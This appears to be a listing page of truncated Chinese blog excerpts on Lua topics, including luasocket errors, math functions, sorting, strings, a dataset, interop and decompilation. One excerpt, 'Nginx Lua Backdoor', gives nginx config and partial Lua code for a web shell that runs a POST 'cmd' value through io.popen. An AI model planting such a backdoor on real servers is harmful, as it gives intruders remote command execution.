luasocket getaddrinfo nil 问题
使用 luarocks 安装 luasocket,在调用 bind 时,报:
socket.lua:29: attempt to call field ‘getaddrinfo’ (a nil value)
继续执行以下 lua 代码片段:
Lua 5.1.4 Copyright (C) 1994-2008 Lua.org, PUC-Rio
>
> do
>> local socket = require("socket")
>> for k,v in pairs(socket.dns) do
>> print(k,v)
>> end
>> end
gethostname function: 0xc774f0
toip function: 0xc77ea0
tohostname function: 0xc77f00
>
>
发现确实没有加载进来,而 getaddrinfo 是一个标准的 posix 系统调用,所以基本可以确定是安装的问题了。。
于是从 gi ...
Lua标准库
lua标准库之数学库
数学库概念数学库由算术函数的标准集合组成;比如三角函数(sin、cos、tan、asin、acos、etc)幂指函数(exp、log、log10),舍入函数(floor、ceil)、max、min,加上一个变量pi,数学库也定义了一个幂操作符 ^
函数
描述
示例
结果
abs
取绝对值
math.abs(-15)
15
acos
反余弦函数
math.acos(0.5)
1.04719755
asin
反正弦函数
math.asin(0.5)
0.52359877
atan2
x / y的反正切值
math.atan2(90.0, 45.0)
1.10714871
atan
反正切函数
math.atan(0.5)
0.463647609
ceil
不小于x的最大整数
math.ceil(5.8)
6
cosh
双曲线余弦函数
math.cosh(0.5)
1.276259652
cos
余弦函数
math.cos(0.5)
0.87758256
deg
弧度转角度
math.deg(math.pi)
180
...
Lua 排序算法
冒泡排序(Bubble Sort,台湾译为:泡沫排序或气泡排序)是一种简单的排序算法。它重复地走访过要排序的数列,一次比较两个元素,如果他们的顺序错误就把他们交换过来。走访数列的工作是重复地进行直到没有再需要交换,也就是说该数列已经排序完成。这个算法的名字由来是因为越小的元素会经由交换慢慢“浮”到数列的顶端。
算法步骤
有一个长度为n的序列,一共需要n次外循环
在一次外循环里,比较相邻的元素。如果第一个比第二个大,就交换他们两个。这样可以保证,每次外循环结束,最右边的元素一定是最大的数。
由于每一次外循环都可以确定一个最大的数,所以在一个外循环里一共需要比较n-i次内循环
持续每次对越来越少的元素重复上面的步骤,直到没有任何一对数字需要比较。
动画演示
Lua 实现
local function bubbleSort(arr)
for i = 1, #arr, 1 do
for j = 1, #arr - i, 1 do
if arr[j] > arr[j+1] then
arr ...
Lua 学习 chapter4
目录
字符串常量
强制类型转换
字符串的标准库
Unicode编码
I think you should do your best when you are work.
字符串常量
在lua中你可以使用一对双引号或者单引号来声明字符串常量。
它们两个是等价的,唯一区别在于,使用双引号声明的字符串中出现单引号,单引号不需要转义。在单引号中出现双引号也是一样的。
Lua中支持C语言的转义字符:
q 响铃
b 退格
f 换页
n 换行
t 水平制表
v 垂直制表
反斜杠
" 双引号
' 单引号
在使用长字符串或者多行字符串的时候可以使用,[[ str]]这样表示
1
2
3
4
5
6
page = [[
fsdfsd
fdsfsd
fsdf
sf
]]
强制类型转换
自动转换类型: 10 .. 2 –> 102 这个102就是字符串;”10” + 1 –> 11.0 算术运算的时候会把字符串自动转换成浮点数。
tonumber() 将字符串装换成数值,如果不能转换就会输出:nill,也可以使 ...
Nginx Lua Backdoor
在先知看到了apache利用lua留后门,就想着用nginx也试试安装有ngx_lua模块,在openresty和tengine中是默认安装了ngx_lua模块的。我这里拿openresty举例,你可以在这里下载win平台打包好的。步骤找到conf/nginx.conf,在server块中添加路由1
2
3
4
location = /a.php {
default_type 'text/plain';
content_by_lua_file lua/backdoor.lua;
}然后创建lua/backdoor.lua脚本,你也可以创建在任意位置,不过要对应上文的content_by_lua_file字段1
2
3
4
5
6
7
8
ngx.req.read_body()
local post_args = ngx.req.get_post_args()
local cmd = post_args["cmd"]
if cmd then
f_ret = io.popen(cmd)
local ...
Car Evaluation数据集
提供者:杜成玉下载地址:http://archive.ics.uci.edu/ml/machine-learning-databases/car/
数据来源:https://www.jianshu.com/p/be23b3870d2e这是一个关于汽车测评的数据集,类别变量为汽车的测评,(unacc,ACC,good,vgood)分别代表(不可接受,可接受,好,非常好),而6个属性变量分别为「买入价」,「维护费」,「车门数」,「可容纳人数」,「后备箱大小」,「安全性」。值得一提的是6个属性变量全部是有序类别变量,比如「可容纳人数」值可为「2,4,more」,「安全性」值可为「low, med, high」。
数据集特征数据来源:特征:多变量记录数:1728属性特征:类别型属性数目:6相关应用:分类缺失值?没有
相关论文1.M. Bohanec and V. Rajkovic: Knowledge acquisition and explanation for multi-attribute decision making. In 8th Intl Workshop on Expert S ...
BCB中C与Lua互相函数变量调用代码
BCB中C与Lua互相函数变量调用代码
/*
* 转载请带上此行: FreedomKnight_Duzhi E_mail:
*/
本代码需要三个Label,三个Button,一个BCB编译好的Lua5.1.2库或者原码.需要的请直接邮件联系我.(个人建议自己编译生成)
头文件就添加俩处
#include "lua.hpp"
lua_State *l;
//---------------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop
#include "Unit1.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TFo ...
Lua string 哈希碰撞
Lua 中 40 字节以下的字符串会被内部化到一张表中(Lua 5.3),这张表挂在 global state 结构下。对于短字符串,相同的串在同一虚拟机上只会存在一份,这被称为字符串的内部化。
其实字符串在 Lua VM 中是以两种内部形式保存的:短字符串及长字符串。其界限默认设置为40(字节)
对于比较长的字符串(32字节以上),为了加快哈希过程,计算字符串哈希值是跳跃进行的(并没有 hash 全部的位)。
Lua Wiki 上列出了各个版本的 Lua 对于 string 没有计算 hash 的长度:
Hash algorithm analysis
-- number of bytes not used in hash function
==============================================================
String length < 15, 15-20 , 20-32 , 32-64
-------------------------------------------- ...
浅析android手游lua脚本的加密与解密(后续)
趁着周末,把lua的后续文章也写完了。
反编译对抗 众所周知,反汇编/反编译 工具在逆向人员工作中第一步被使用,其地位非常之高,而对于软件保护者来说,如何对抗 反汇编/反编译 就显得尤为重要。例如,动态调试中对OD的的检测、内核调试对windbg的破坏、加壳加花对IDA静态分析的阻碍、apktool的bug导致对修改后的apk反编译失败、修改PE头导致OD无法识别、修改 .Net dll中的区段导致ILspy工具失效等等例子,都说明对抗反编译工具是很常用的一种软件保护手段,当然lua的反编译工具也面临这个问题。处理这样的问题无非就几种思路:
用调试器调试反编译工具为何解析错误,排查原因。
用调试器调试原引擎是如何解析文件的。
用文件格式解析工具解析文件,看哪个点解析出错。
下面将以3个例子来实战lua反编译是如何对抗与修复。
例子1:一个简单的问题 这是在看雪论坛看到的一个问题,问题是由于游戏(可能是征途手游)将lua字符串的长度int32修改为int64,导致反编译失败的一个例子,修复方法请看帖子中本人的回答,地址:https://bbs.pediy.com/thre ...
Lua 汉字拼音首字母提取
最近项目上有个需求,需要将一些联系人数据按照拼音首字母排序。google 了一番,竟然没有找到一个合适的 Lua 解决方案。倒是找到一个 lua-pinyin,粗略翻了下源码发现其是将所有的中文返回全部完整的拼音,原理是将所有汉字对应拼音创建好数据字典,载入 Lua,之后查询这个字典,返回对应的拼音。但是这对于我这个需求来说显然是太臃肿了,我只需要返回首字母就可以了,却载入一个巨大的字典,感觉有点浪费内存,尤其是在 OR 对于 Lua 的内存是有限制的情况下。
为此自己造了个轮子:lua-resty-pyf,感兴趣的同学可以去 github 搜下。这里我来说下原理。
如果单从排序的角度来看,我们其实完全可以利用 GBK 中文的顺序编码来解决,而且 GBK 是固定字节编码,即:两个字节(一个区码和一个位码)。我们先计算出汉字对应的 GBK 码点,之后按照码点排序就实现了首字母的排序。
如果需要提取出首字母用于检索,我们就必须建立一个映射关系,把所有汉字对应的首字母全部映射进去。好在已经有个老外做了这部分的工作,这里我用 ffi 简单封装了下,暴露出了 lua 的接口。
需要注意的是我们这 ...